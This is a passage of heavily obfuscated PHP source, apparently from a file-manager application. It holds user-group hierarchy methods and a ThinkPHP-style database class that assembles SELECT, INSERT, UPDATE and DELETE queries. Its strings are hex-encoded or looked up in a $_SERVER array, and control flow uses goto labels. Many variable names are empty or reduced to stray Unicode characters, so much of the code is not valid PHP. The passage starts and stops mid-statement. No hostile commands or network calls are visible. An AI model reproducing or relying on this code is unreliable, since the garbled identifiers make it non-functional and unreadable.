!1; } unset($֦); } private function _listAppendChildrenMember(&$) { $ =& $_SERVER[ϋ]; $ = array_to_keyvalue($, $[12], $[1952]); $奮 = array($[1952] => array($[7], $)); $ǘ = array($[1952], $[2057] => $[550]); $ܤ = Model($[2047])->field($ǘ)->where($奮)->group($[1952])->select(); $ܓ = array_to_keyvalue($ܤ, $[1952], $[550]); foreach ($ as &$) { $Ȃ = $[$[1952]]; $[$[2059]] = isset($ܓ[$Ȃ]) ? intval($ܓ[$Ȃ]) : !1; } unset($); } private function _listAppendMeta(&$Ʌ, $) { $ =& $_SERVER[ϋ]; $裋 = array($[1952] => array($[7], $)); $ = Model($[2046])->where($裋)->select(); $ = array_to_keyvalue_group($, $[1952]); foreach ($ as &$) { $ = array_to_keyvalue($, $[97], $[434]); } unset($); foreach ($Ʌ as &$֡) { $֡[$[523]] = array(); if (isset($[$֡[$[1952]]])) { $֡[$[523]] = $[$֡[$[1952]]]; } } unset($֡); } protected function parentLevelArray($Ѩ) { $ٌ =& $_SERVER[ϋ]; $Ѩ = explode($ٌ[50], trim($Ѩ, $ٌ[50])); $Ѩ = array_remove_value($Ѩ, $ٌ[219]); return $Ѩ; } protected function parentInGroup($ҡ, $ߍ) { $ގ =& $_SERVER[ϋ]; $ = $this->getInfoSimple($ҡ); if (!$) { return !0; } $ = $this->parentLevelArray($[$ގ[569]]); $[] = $ҡ; foreach ($ as $ҡ) { if (in_array($ҡ . $ގ[12], $ߍ)) { return !0; } } return !1; } private function _listAppendParent(&$) { $À =& $_SERVER[ϋ]; $ = array(); foreach ($ as &$) { $[$[$À[1952]]] = $[$À[32]]; $؟ = $this->parentLevelArray($[$À[569]]); foreach ($؟ as $) { if (!isset($[$])) { $[$] = 0; } } } unset($); foreach ($ as $Ց轔 => $ۓ醲) { if ($ۓ醲) { continue; } $ = $this->getInfoSimple($Ց轔); $[$Ց轔] = $[$À[32]]; } $Ȯ = $GLOBALS[$À[6]][$À[92]][$À[2060]]; if (KodUser::isRoot()) { $Ȯ = !1; } foreach ($ as &$) { $؟ = $this->parentLevelArray($[$À[569]]); $ = $À[12]; foreach ($؟ as $Ց轔 => $) { if ($Ȯ && $Ց轔 == 0) { continue; } $ .= $[$] . $À[8]; } if ($؟) { $ .= $[$À[32]]; } $[$À[574]] = str_replace($À[577], $À[8], $); } unset($); } private function _listAppendSourceRoot(&$փ, $۝) { $ =& $_SERVER[ϋ]; $Ա = Model($[876])->listSourceRoot(SourceModel::TYPE_GROUP, $۝); $Ա = array_to_keyvalue($Ա, $[554]); $Ա = array_remove_key($Ա, $[554]); foreach ($փ as &$) { $[$[90]] = $Ա[$[$[1952]]] ? $Ա[$[$[1952]]] : array(); } unset($); } protected function groupMerge($ѳ) { $ѳ = array_values(array_unique($ѳ)); $ = array(); for ($̆ = 0; $̆ < count($ѳ); $̆++) { $Ż = !1; for ($ = 0; $ < count($ѳ); $++) { if ($̆ == $) { continue; } if ($this->isParentOf($ѳ[$], $ѳ[$̆])) { $Ż = !0; break; } } if (!$Ż) { $[] = $ѳ[$̆]; } } return $; } protected function isParentOf($, $癸) { $ڷ =& $_SERVER[ϋ]; if (!$ || !$癸 || $ == $癸) { return !1; } $ = $this->getInfoSimple($); $ۣ㆜ = $this->getInfoSimple($癸); $ = $[$ڷ[569]] . $ . $ڷ[50]; if (substr($ۣ㆜[$ڷ[569]], 0, strlen($)) == $) { return !0; } return !1; } public function groupShowRoot($, $ŝ = false) { $ =& $_SERVER[ϋ]; $ = $this->getInfo($); if (!$) { return array(); } $򅃠 = $this->parentLevelArray($[$[569]]); $ = array($); if (count($򅃠) == 0) { return $; } if ($ŝ && count($򅃠) == 1) { return $; } if (!$[$[523]] || !isset($[$[523]][$[2043]]) || $[$[523]][$[2043]] == $[2008]) { return $this->groupShowRoot($򅃠[count($򅃠) - 1], $ŝ); } if ($[$[523]][$[2043]] == $[417]) { $ƚ = explode($[50], $[$[523]][$[2044]]); if ($ƚ) { $ = array_merge($, $ƚ); } } return $; } protected function resetParentLevel() { $ƿ =& $_SERVER[ϋ]; $ = $ƿ[1952]; $ = $this->select(); $ = array_to_keyvalue($, $); foreach ($ as $˪) { $ = $˪; $ɬ = array(); while ($[$ƿ[183]] != 0) { $ɬ[] = $[$ƿ[183]]; $ = $[$[$ƿ[183]]]; } $ɬ[] = 0; $ɬ = $ƿ[50] . implode($ƿ[50], array_reverse($ɬ)) . $ƿ[50]; $this->setNamePinyin($˪[$], $˪[$ƿ[32]]); $this->where(array($ => $˪[$]))->save(array($ƿ[636] => $ɬ)); } return $; } public function groupNameAuto($ڐ, $) { $㖑 =& $_SERVER[ϋ]; $ب = $this->where(array($㖑[461] => $ڐ))->getField($㖑[32], !0); if (!$ب || !in_array($, $ب)) { return $; } for ($Ʌ = 1; $Ʌ <= count($ب) + 1; $Ʌ++) { $ = $ . "\50{$Ʌ}\x29"; if (!in_array($, $ب)) { return $; } } } public function groupSwitch($Ǐ, $৹ν) { $ =& $_SERVER[ϋ]; $۱À = array($[1952] => array($[7], array($Ǐ, $৹ν))); $̾ = $this->where($۱À)->select(); $̾ = array_to_keyvalue($̾, $[1952]); if (!isset($̾[$Ǐ]) || !isset($̾[$৹ν]) || $̾[$Ǐ][$[183]] == 0) { return !1; } $۱À = array($[1952] => $Ǐ); $ʄ = Model($[2047])->where($۱À)->select(); if (!$ʄ) { $ʄ = array(); } foreach ($ʄ as $ɩ) { $ = $ɩ[$[1754]]; $۱À = array($[1754] => $, $[1952] => $৹ν); $䄬 = Model($[2047])->where($۱À)->find(); if (!$䄬) { $ = array($৹ν => $ɩ[$[2061]]); Model($[583])->userGroupAdd($, $); } Model($[583])->userGroupRemove($, $Ǐ); } $۱À = array($[181] => 2, $[183] => 0, $[469] => 1, $[554] => array($[7], array($Ǐ, $৹ν))); $ = Model($[876])->where($۱À)->field($[2062])->select(); $ = array_to_keyvalue($, $[554], $[184]); $Ӏص = !empty($[$Ǐ]) ? $[$Ǐ] : !1; if ($Ӏص) { if (!$[$৹ν]) { $[$৹ν] = Model($[876])->groupRootAdd($৹ν); } $ = $[$৹ν]; $۱À = array($[183] => $Ӏص); $ = Model($[876])->where($۱À)->field($[2063])->select(); if (!$) { $ = array(); } Model($[876])->moveClearAuth = !1; foreach ($ as $н) { $Ȱ = $н[$[469]] == $[91] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($[876])->move($н[$[184]], $, $Ȱ); } Model($[876])->moveClearAuth = !0; $۱À = array($[181] => 2, $[554] => $Ǐ); $툅 = array($[554] => $৹ν); Model($[2064])->where($۱À)->save($툅); Model($[2065])->where($۱À)->save($툅); } $this->_changeChildLevel($̾[$Ǐ], $̾[$৹ν], !0); $this->where(array($[183] => $Ǐ))->save(array($[183] => $৹ν)); $this->_clearChildrenCache($̾[$৹ν]); return !0; } } goto dګ; fŐ: class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\x5f\x74\x68\151\x6e\x6b\x5f"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\x65\x71" => "\x3d", "\x6e\145\x71" => "\x3c\76", "\147\164" => "\x3e", "\x65\x67\164" => "\x3e\x3d", "\x6c\x74" => "\74", "\x65\x6c\x74" => "\x3c\x3d", "\x6e\157\x74\x6c\x69\153\145" => "\116\117\124\40\114\x49\113\105", "\154\x69\x6b\145" => "\114\111\113\x45", "\x69\x6e" => "\111\x4e", "\x6e\x6f\x74\x69\x6e" => "\x4e\x4f\124\x20\111\x4e", "\156\x6f\x74\40\x69\x6e" => "\116\x4f\x54\40\111\x4e", "\x62\145\164\x77\x65\x65\156" => "\x42\105\124\x57\105\105\x4e", "\156\157\164\x62\x65\164\167\x65\145\x6e" => "\x4e\x4f\x54\40\x42\105\x54\127\x45\x45\116", "\x6e\x6f\164\40\x62\145\x74\167\x65\145\156" => "\116\117\x54\x20\102\105\124\x57\105\105\x4e"); protected $selectSql = "\x53\x45\x4c\105\x43\x54\x25\x44\x49\x53\124\x49\x4e\x43\x54\45\x20\x25\x46\x49\x45\x4c\x44\x25\40\x46\122\x4f\x4d\40\x25\x54\101\102\114\105\45\45\x4a\117\x49\x4e\45\45\127\x48\x45\x52\x45\x25\45\107\x52\x4f\125\120\45\x25\110\101\126\111\116\107\45\x25\117\x52\x44\105\x52\x25\x25\114\111\115\x49\124\x25\x20\x25\125\116\x49\x4f\116\x25\45\x43\x4f\115\115\x45\116\x54\45"; protected $bind = array(); public static function getInstance() { $ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[ϋ][1009], $); } public function factory($ = '') { $Ԋҥ =& $_SERVER[ϋ]; $ = $this->parseConfig($); if (empty($[$Ԋҥ[1010]])) { think_exception(think_lang($Ԋҥ[1011])); } $this->dbType = ucwords(strtolower($[$Ԋҥ[1010]])); $ = $Ԋҥ[1012] . $this->dbType; if (class_exists($)) { $ΰ = new $($); if ($Ԋҥ[1013] != strtolower($[$Ԋҥ[1010]])) { $ΰ->dbType = strtoupper($this->dbType); } else { $ΰ->dbType = $this->_getDsnType($[$Ԋҥ[965]]); } } else { think_exception(think_lang($Ԋҥ[1014]) . $Ԋҥ[1015] . $); } return $ΰ; } public function __call($ۗ, $汨) { if (method_exists($this, $ۗ)) { return call_user_func_array(array($this, $ۗ), $汨); } } protected function _getDsnType($ޝ׿) { $ج = explode($_SERVER[ϋ][4], $ޝ׿); $ = strtoupper(trim($ج[0])); return $; } private function parseConfig($܍ƻ = '') { $ٹ =& $_SERVER[ϋ]; if (!empty($܍ƻ) && is_string($܍ƻ)) { $܍ƻ = $this->parseDSN($܍ƻ); } elseif (is_array($܍ƻ)) { $܍ƻ = array_change_key_case($܍ƻ); $܍ƻ = array($ٹ[1010] => $܍ƻ[$ٹ[1016]], $ٹ[937] => $܍ƻ[$ٹ[1017]], $ٹ[938] => $܍ƻ[$ٹ[1018]], $ٹ[935] => $܍ƻ[$ٹ[1019]], $ٹ[936] => $܍ƻ[$ٹ[1020]], $ٹ[21] => $܍ƻ[$ٹ[1021]], $ٹ[965] => $܍ƻ[$ٹ[1022]], $ٹ[17] => isset($܍ƻ[$ٹ[1023]]) ? $܍ƻ[$ٹ[1023]] : array()); } elseif (empty($܍ƻ)) { if (think_config($ٹ[1024]) && $ٹ[1013] != strtolower(think_config($ٹ[1025]))) { $܍ƻ = $this->parseDSN(think_config($ٹ[1024])); } else { $܍ƻ = array($ٹ[1010] => think_config($ٹ[1025]), $ٹ[937] => think_config($ٹ[1026]), $ٹ[938] => think_config($ٹ[1027]), $ٹ[935] => think_config($ٹ[1028]), $ٹ[936] => think_config($ٹ[1029]), $ٹ[21] => think_config($ٹ[298]), $ٹ[965] => think_config($ٹ[1024]), $ٹ[17] => think_config($ٹ[1030])); } } return $܍ƻ; } protected function initConnect($ı = true) { if (1 == think_config($_SERVER[ϋ][22])) { $this->_linkID = $this->multiConnect($ı); } else { if (isset($this->config) && $this->config) { $this->configLast = $this->config; } } if (!isset($this->connected) || !$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ => $) { $this->_linkID = $; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($ = false) { $΢ =& $_SERVER[ϋ]; static $󖅳 = array(); static $ = -1; if (empty($󖅳)) { foreach ($this->config as $͗ɏ => $) { $󖅳[$͗ɏ] = explode($΢[50], $); } } if (think_config($΢[1031])) { if ($ || think_config($΢[455]) === !0) { $ܞӛ = floor(mt_rand(0, think_config($΢[1032]) - 1)); $ = $ܞӛ; } else { if (is_numeric(think_config($΢[1033]))) { $ܞӛ = think_config($΢[1033]); } else { $ܞӛ = floor(mt_rand(think_config($΢[1032]), count($󖅳[$΢[935]]) - 1)); } } } else { $ܞӛ = floor(mt_rand(0, count($󖅳[$΢[935]]) - 1)); $ = $ܞӛ; } $ܞӛ = $ !== -1 ? $ : $ܞӛ; $ = array($΢[937] => isset($󖅳[$΢[937]][$ܞӛ]) ? $󖅳[$΢[937]][$ܞӛ] : $󖅳[$΢[937]][0], $΢[938] => isset($󖅳[$΢[938]][$ܞӛ]) ? $󖅳[$΢[938]][$ܞӛ] : $󖅳[$΢[938]][0], $΢[935] => isset($󖅳[$΢[935]][$ܞӛ]) ? $󖅳[$΢[935]][$ܞӛ] : $󖅳[$΢[935]][0], $΢[936] => isset($󖅳[$΢[936]][$ܞӛ]) ? $󖅳[$΢[936]][$ܞӛ] : $󖅳[$΢[936]][0], $΢[21] => isset($󖅳[$΢[21]][$ܞӛ]) ? $󖅳[$΢[21]][$ܞӛ] : $󖅳[$΢[21]][0], $΢[965] => isset($󖅳[$΢[965]][$ܞӛ]) ? $󖅳[$΢[965]][$ܞӛ] : $󖅳[$΢[965]][0], $΢[17] => isset($󖅳[$΢[17]][$ܞӛ]) ? $󖅳[$΢[17]][$ܞӛ] : $󖅳[$΢[17]][0]); return $this->connect($, $ܞӛ); } public function parseDSN($ήޅ) { $̢ =& $_SERVER[ϋ]; if (empty($ήޅ)) { return !1; } $ɭ۾ = parse_url($ήޅ); if ($ɭ۾[$̢[198]]) { $ = array($̢[1010] => $ɭ۾[$̢[198]], $̢[937] => isset($ɭ۾[$̢[646]]) ? $ɭ۾[$̢[646]] : $̢[12], $̢[938] => isset($ɭ۾[$̢[1034]]) ? $ɭ۾[$̢[1034]] : $̢[12], $̢[935] => isset($ɭ۾[$̢[199]]) ? $ɭ۾[$̢[199]] : $̢[12], $̢[936] => isset($ɭ۾[$̢[200]]) ? $ɭ۾[$̢[200]] : $̢[12], $̢[21] => isset($ɭ۾[$̢[87]]) ? substr($ɭ۾[$̢[87]], 1) : $̢[12]); } else { preg_match($̢[1035], trim($ήޅ), $); $ = array($̢[1010] => $[1], $̢[937] => $[2], $̢[938] => $[3], $̢[935] => $[4], $̢[936] => $[5], $̢[21] => $[6]); } $[$̢[965]] = $̢[12]; return $; } protected function debug() { $ӠΟ =& $_SERVER[ϋ]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $ӠΟ[1036]; if (think_config($ӠΟ[1037])) { think_status($ӠΟ[1038]); think_trace($this->queryStr . $ӠΟ[1039] . think_status($ӠΟ[24], $ӠΟ[1038], 6) . $ӠΟ[1040], $ӠΟ[12], $ӠΟ[1041]); } } protected function parseLock($ņ = false) { $ɔ =& $_SERVER[ϋ]; if (!$ņ) { return $ɔ[12]; } if ($ɔ[967] == $this->dbType) { return $ɔ[1042]; } return $ɔ[1043]; } protected function parseSet($) { $± =& $_SERVER[ϋ]; foreach ($ as $ => $) { if (is_array($) && $±[348] == $[0]) { $Ӽ[] = $this->parseKey($) . $±[933] . $[1]; } elseif (is_scalar($) || is_null($)) { $Ӽ[] = $this->parseKey($) . $±[933] . $this->parseValue($); } } return $±[1044] . implode($±[50], $Ӽ); } protected function bindParam($ݳ, $) { $this->bind[$_SERVER[ϋ][4] . $ݳ] = $; } protected function parseBind($) { $ = array_merge($this->bind, $); $this->bind = array(); return $; } function parseKey(&$Ϋ, $ = true) { if ($) { $Ϋ = $this->parseKeyCheck($Ϋ); } return $Ϋ; } function parseKeyCheck($) { $ӟߺ =& $_SERVER[ϋ]; $ = trim($); if (!preg_match($ӟߺ[1045], $)) { think_exception($ӟߺ[1046] . $); } return $; } protected function parseValue($) { $񰈱 =& $_SERVER[ϋ]; if (is_string($)) { $ = $񰈱[1006] . $this->escapeString($) . $񰈱[1006]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $񰈱[348]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $񰈱[1007]), $); } elseif (is_bool($)) { $ = $ ? $񰈱[91] : $񰈱[219]; } elseif (is_null($)) { $ = $񰈱[106]; } return $; } protected function parseField($ݴڙ) { $ =& $_SERVER[ϋ]; if (is_string($ݴڙ) && strpos($ݴڙ, $[50])) { $ݴڙ = explode($[50], $ݴڙ); } if (is_array($ݴڙ)) { $߀ = array(); foreach ($ݴڙ as $ȳҰ => $ل) { if (!is_numeric($ȳҰ)) { $߀[] = $this->parseKey($ȳҰ, !1) . $[1047] . $this->parseKey($ل); } else { $߀[] = $this->parseKey($ل); } } $ = implode($[50], $߀); } elseif (is_string($ݴڙ) && !empty($ݴڙ)) { $ = $ݴڙ; } else { $ = $[211]; } return $; } protected function parseTable($) { $ϯ =& $_SERVER[ϋ]; if (is_array($)) { $ = array(); foreach ($ as $ => $։) { if (!is_numeric($)) { $[] = $this->parseKey($) . $ϯ[53] . $this->parseKey($։); } else { $[] = $this->parseKey($); } } $ = $; } elseif (is_string($)) { if (strstr($, $ϯ[53])) { return $; } $ = explode($ϯ[50], $); array_walk($, array($this, $ϯ[955])); } return $ϯ[949] . trim(implode($ϯ[1048], $), $ϯ[445]) . $ϯ[949]; } protected function parseWhere($ӗ) { $Θ =& $_SERVER[ϋ]; $ = $Θ[12]; if (is_string($ӗ)) { $ = $ӗ; } else { $ = isset($ӗ[$Θ[1049]]) ? strtoupper($ӗ[$Θ[1049]]) : $Θ[12]; if (in_array($, array($Θ[1050], $Θ[1051], $Θ[1052]))) { $ = $Θ[53] . $ . $Θ[53]; unset($ӗ[$Θ[1049]]); } else { $ = $Θ[1053]; } foreach ($ӗ as $ => $܄) { $ .= $Θ[329]; if (is_numeric($)) { $ = $Θ[1054]; } if (0 === strpos($, $Θ[11])) { $ .= $this->parseThinkWhere($, $܄); } else { if (!preg_match($Θ[1055], trim($))) { think_exception(think_lang($Θ[1056]) . $Θ[4] . $); } $ = is_array($܄) && isset($܄[$Θ[1057]]); $ = trim($); if (strpos($, $Θ[205])) { $Ù = explode($Θ[205], $); $ = array(); foreach ($Ù as $Ȏڤ => $ט) { $ = $ ? $܄[$Ȏڤ] : $܄; $[] = $Θ[312] . $this->parseWhereItem($this->parseKey($ט), $) . $Θ[954]; } $ .= implode($Θ[1058], $); } elseif (strpos($, $Θ[335])) { $Ù = explode($Θ[335], $); $ = array(); foreach ($Ù as $Ȏڤ => $ט) { $ = $ ? $܄[$Ȏڤ] : $܄; $[] = $Θ[312] . $this->parseWhereItem($this->parseKey($ט), $) . $Θ[954]; } $ .= implode($Θ[1053], $); } else { $ .= $this->parseWhereItem($this->parseKey($), $܄); } } $ .= $Θ[330] . $; } $ = substr($, 0, -strlen($)); } return empty($) ? $Θ[12] : $Θ[1059] . $; } protected function parseWhereItem($µ, $Ѭ) { $ =& $_SERVER[ϋ]; $͛ = $[12]; if (is_array($Ѭ)) { if (is_string($Ѭ[0])) { $Ǻ = strtolower($Ѭ[0]); if (in_array($Ѭ[0], array($[933], $[1060], $[1061], $[1062], $[1063], $[1064]))) { $͛ .= $µ . $[53] . $Ѭ[0] . $[53] . $this->parseValue($Ѭ[1]); } elseif (preg_match($[1065], $Ѭ[0])) { $͛ .= $µ . $[53] . $this->exp[$Ǻ] . $[53] . $this->parseValue($Ѭ[1]); } elseif (preg_match($[1066], $Ѭ[0])) { if (is_array($Ѭ[1])) { $᫅ = isset($Ѭ[2]) ? strtoupper($Ѭ[2]) : $[1051]; if (in_array($᫅, array($[1050], $[1051], $[1052]))) { $ = array(); foreach ($Ѭ[1] as $) { $[] = $µ . $[53] . $this->exp[$Ǻ] . $[53] . $this->parseValue($); } $͛ .= $[312] . implode($[53] . $᫅ . $[53], $) . $[954]; } } else { $͛ .= $µ . $[53] . $this->exp[$Ǻ] . $[53] . $this->parseValue($Ѭ[1]); } } elseif ($[348] == $Ǻ) { $͛ .= $[952] . $µ . $[53] . $Ѭ[1] . $[1067]; } elseif (preg_match($[1068], $Ѭ[0])) { $͛ .= $Ѭ[0]; } elseif (preg_match($[1069], $Ѭ[0])) { if (isset($Ѭ[2]) && $[348] == $Ѭ[2]) { $͛ .= $µ . $[53] . $this->exp[$Ǻ] . $[53] . $Ѭ[1]; } else { if (is_string($Ѭ[1])) { $Ѭ[1] = explode($[50], $Ѭ[1]); } $ݻ = implode($[50], $this->parseValue($Ѭ[1])); $͛ .= $µ . $[53] . $this->exp[$Ǻ] . $[952] . $ݻ . $[954]; } } elseif (preg_match($[1070], $Ѭ[0])) { $ǤȂΔ = is_string($Ѭ[1]) ? explode($[50], $Ѭ[1]) : $Ѭ[1]; $͛ .= $[952] . $µ . $[53] . $this->exp[$Ǻ] . $[53] . $this->parseValue($ǤȂΔ[0]) . $[1053] . $this->parseValue($ǤȂΔ[1]) . $[330]; } else { think_exception(think_lang($[1056]) . $[4] . $Ѭ[0]); } } else { $ߜ = count($Ѭ); $ҿɿ = $[12]; if (is_string($Ѭ[$ߜ - 1])) { $ҿɿ = isset($Ѭ[$ߜ - 1]) ? strtoupper($Ѭ[$ߜ - 1]) : $[12]; if (in_array($ҿɿ, array($[1050], $[1051], $[1052]))) { $ߜ = $ߜ - 1; } } else { $ҿɿ = $[1050]; } for ($ = 0; $ < $ߜ; $++) { $ǤȂΔ = is_array($Ѭ[$]) ? $Ѭ[$][1] : $Ѭ[$]; if ($[348] == strtolower($Ѭ[$][0])) { $͛ .= $[312] . $µ . $[53] . $ǤȂΔ . $[1067] . $ҿɿ . $[53]; } else { $и߬ = is_array($Ѭ[$]) ? $this->exp[strtolower($Ѭ[$][0])] : $[933]; if (!$и߬ && is_array($Ѭ[$]) && in_array($Ѭ[$][0], array($[933], $[1060], $[1061], $[1062], $[1063], $[1064]))) { $и߬ = $Ѭ[$][0]; } $͛ .= $[312] . $µ . $[53] . $и߬ . $[53] . $this->parseValue($ǤȂΔ) . $[1067] . $ҿɿ . $[53]; } } $͛ = substr($͛, 0, -4); } } else { $͛ .= $µ . $[1071] . $this->parseValue($Ѭ); } return $͛; } protected function parseThinkWhere($ݲد, $ֹӘ) { $ը =& $_SERVER[ϋ]; $ = $ը[12]; switch ($ݲد) { case $ը[403]: $ = $ֹӘ; break; case $ը[1054]: $ = is_string($ֹӘ) ? $ֹӘ : substr($this->parseWhere($ֹӘ), 6); break; case $ը[1072]: parse_str($ֹӘ, $ݧ); if (isset($ݧ[$ը[1049]])) { $ʼn = $ը[53] . strtoupper($ݧ[$ը[1049]]) . $ը[53]; unset($ݧ[$ը[1049]]); } else { $ʼn = $ը[1053]; } $ = array(); foreach ($ݧ as $ӏ => $) { $[] = $this->parseKey($ӏ) . $ը[1071] . $this->parseValue($); } $ = implode($ʼn, $); break; } return $; } protected function parseLimit($) { $˫ =& $_SERVER[ϋ]; return !empty($) ? $˫[51] . $ . $˫[53] : $˫[12]; } protected function parseJoin($ԏ) { $郸 =& $_SERVER[ϋ]; $ = $郸[12]; if (!empty($ԏ)) { if (is_array($ԏ)) { foreach ($ԏ as $ە => $) { if (!1 !== stripos($, $郸[1073])) { $ .= $郸[53] . $; } else { $ .= $郸[1074] . $; } } } else { $ .= $郸[1074] . $ԏ; } } $ = preg_replace($郸[1075], think_config($郸[979]) . $郸[1076], $); return $; } protected function parseOrder($ߍ) { $ =& $_SERVER[ϋ]; if (is_array($ߍ)) { $ = array(); foreach ($ߍ as $ۡѝ => $ޝ) { if (is_numeric($ۡѝ)) { $[] = $this->parseKey($ޝ); } else { $ޝ = in_array(strtoupper(trim($ޝ)), array($[1077], $[1078])) ? $[53] . $ޝ : $[12]; if (preg_match($[1079], $ۡѝ)) { $[] = $this->parseKey($ۡѝ) . $ޝ; } else { think_exception($[1080] . $ۡѝ); } } } $ߍ = implode($[50], $); } return !empty($ߍ) ? $[1081] . $ߍ : $[12]; } protected function parseGroup($ʈؚ) { $ =& $_SERVER[ϋ]; return !empty($ʈؚ) ? $[1082] . $ʈؚ : $[12]; } protected function parseHaving($ݹ) { $ܳ =& $_SERVER[ϋ]; return !empty($ݹ) ? $ܳ[1083] . $ݹ : $ܳ[12]; } protected function parseComment($⫆) { $͏ =& $_SERVER[ϋ]; return !empty($⫆) ? $͏[1084] . $⫆ . $͏[1085] : $͏[12]; } protected function parseDistinct($Ȧ) { $۸ =& $_SERVER[ϋ]; return !empty($Ȧ) ? $۸[1086] : $۸[12]; } protected function parseUnion($) { $Ԁ =& $_SERVER[ϋ]; if (empty($)) { return $Ԁ[12]; } if (isset($[$Ԁ[399]])) { $ۿ와 = $Ԁ[1087]; unset($[$Ԁ[399]]); } else { $ۿ와 = $Ԁ[1088]; } foreach ($ as $) { $Բՙ[] = $ۿ와 . (is_array($) ? $this->buildSelectSql($) : $); } return implode($Ԁ[53], $Բՙ); } public function insert($׬, $˚ = array(), $鶝 = false) { $ =& $_SERVER[ϋ]; $䃵 = $û = array(); $this->model = $˚[$[333]]; foreach ($׬ as $ => $) { if (is_array($) && $[348] == $[0]) { $û[] = $this->parseKey($); $䃵[] = $[1]; } elseif (is_scalar($) || is_null($)) { $û[] = $this->parseKey($); $䃵[] = $this->parseValue($); } } $Ӻ = ($鶝 ? $[956] : $[957]) . $[958] . $this->parseTable($˚[$[331]]) . $[952] . implode($[50], $û) . $[953] . implode($[50], $䃵) . $[954]; $Ӻ .= $this->parseLock(isset($˚[$[895]]) ? $˚[$[895]] : !1); $Ӻ .= $this->parseComment(!empty($˚[$[405]]) ? $˚[$[405]] : $[12]); return $this->execute($Ӻ, $this->parseBind(!empty($˚[$[336]]) ? $˚[$[336]] : array())); } public function selectInsert($, $, $ϯ = array()) { $綘 =& $_SERVER[ϋ]; $this->model = $ϯ[$綘[333]]; if (is_string($)) { $ = explode($綘[50], $); } array_walk($, array($this, $綘[955])); $ = $綘[1089] . $this->parseTable($) . $綘[952] . implode($綘[50], $) . $綘[1067]; $ .= $this->buildSelectSql($ϯ); return $this->execute($, $this->parseBind(!empty($ϯ[$綘[336]]) ? $ϯ[$綘[336]] : array())); } public function update($, $) { $ =& $_SERVER[ϋ]; $this->model = $[$[333]]; $ = $[1090] . $this->parseTable($[$[331]]) . $this->parseSet($) . $this->parseWhere(!empty($[$[327]]) ? $[$[327]] : $[12]) . $this->parseOrder(!empty($[$[425]]) ? $[$[425]] : $[12]) . $this->parseLimit(!empty($[$[343]]) ? $[$[343]] : $[12]) . $this->parseLock(isset($[$[895]]) ? $[$[895]] : !1) . $this->parseComment(!empty($[$[405]]) ? $[$[405]] : $[12]); return $this->execute($, $this->parseBind(!empty($[$[336]]) ? $[$[336]] : array())); } public function delete($ѵ = array()) { $Ɉ =& $_SERVER[ϋ]; $this->model = $ѵ[$Ɉ[333]]; $򯔊 = $Ɉ[1091] . $this->parseTable($ѵ[$Ɉ[331]]) . $this->parseWhere(!empty($ѵ[$Ɉ[327]]) ? $ѵ[$Ɉ[327]] : $Ɉ[12]) . $this->parseOrder(!empty($ѵ[$Ɉ[425]]) ? $ѵ[$Ɉ[425]] : $Ɉ[12]) . $this->parseLimit(!empty($ѵ[$Ɉ[343]]) ? $ѵ[$Ɉ[343]] : $Ɉ[12]) . $this->parseLock(isset($ѵ[$Ɉ[895]]) ? $ѵ[$Ɉ[895]] : !1) . $this->parseComment(!empty($ѵ[$Ɉ[405]]) ? $ѵ[$Ɉ[405]] : $Ɉ[12]); return $this->execute($򯔊, $this->parseBind(!empty($ѵ[$Ɉ[336]]) ? $ѵ[$Ɉ[336]] : array())); } public function select($ = array()) { $흟 =& $_SERVER[ϋ]; $this->model = $[$흟[333]]; $ = $this->buildSelectSql($); $˪ = isset($[$흟[400]]) ? $[$흟[400]] : !1; if ($˪) { $ = is_string($˪[$흟[97]]) ? $˪[$흟[97]] : $흟[1092] . md5($); $͗ = think_cache($, $흟[12], $˪); if (!1 !== $͗) { return $͗; } } $舕 = $this->query($, $this->parseBind(!empty($[$흟[336]]) ? $[$흟[336]] : array())); if ($˪ && !1 !== $舕) { think_cache($, $舕, $˪); } return $舕; } public function buildSelectSql($Ӽ = array()) { $ =& $_SERVER[ϋ]; if (isset($Ӽ[$[404]])) { if (strpos($Ӽ[$[404]], $[50])) { list($蝅, $) = explode($[50], $Ӽ[$[404]]); } else { $蝅 = $Ӽ[$[404]]; } $蝅 = $蝅 ? $蝅 : 1; $ = isset($) ? $ : (is_numeric($Ӽ[$[343]]) ? $Ӽ[$[343]] : 20); $Ȁ = $ * ((int) $蝅 - 1); $Ӽ[$[343]] = $Ȁ . $[50] . $; } if (think_config($[1093])) { $獠 = $[1094] . md5(serialize($Ӽ)); $Ȥ = think_cache($獠); if ($Ȥ) { return $Ȥ; } } $׋ = $this->parseSql($this->selectSql, $Ӽ); $׋ .= $this->parseLock(isset($Ӽ[$[895]]) ? $Ӽ[$[895]] : !1); if (isset($獠)) { think_cache($獠, $׋); } return $׋; } public function parseSql($ҏ, $ = array()) { $ =& $_SERVER[ϋ]; $ҏ = str_replace(array($[1095], $[1096], $[1097], $[1098], $[1099], $[1100], $[1101], $[1102], $[1103], $[1104], $[1105]), array($this->parseTable("{$[$[331]]}"), $this->parseDistinct(isset($[$[1106]]) ? $[$[1106]] : !1), $this->parseField(!empty($[$[325]]) ? $[$[325]] : $[211]), $this->parseJoin(!empty($[$[334]]) ? $[$[334]] : $[12]), $this->parseWhere(!empty($[$[327]]) ? $[$[327]] : $[12]), $this->parseGroup(!empty($[$[563]]) ? $[$[563]] : $[12]), $this->parseHaving(!empty($[$[1107]]) ? $[$[1107]] : $[12]), $this->parseOrder(!empty($[$[425]]) ? $[$[425]] : $[12]), $this->parseLimit(!empty($[$[343]]) ? $[$[343]] : $[12]), $this->parseUnion(!empty($[$[398]]) ? $[$[398]] : $[12]), $this->parseComment(!empty($[$[405]]) ? $[$[405]] : $[12])), $ҏ); return $ҏ; } public function getLastSql($ǜ = '') { return $ǜ ? $this->modelSql[$ǜ] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } 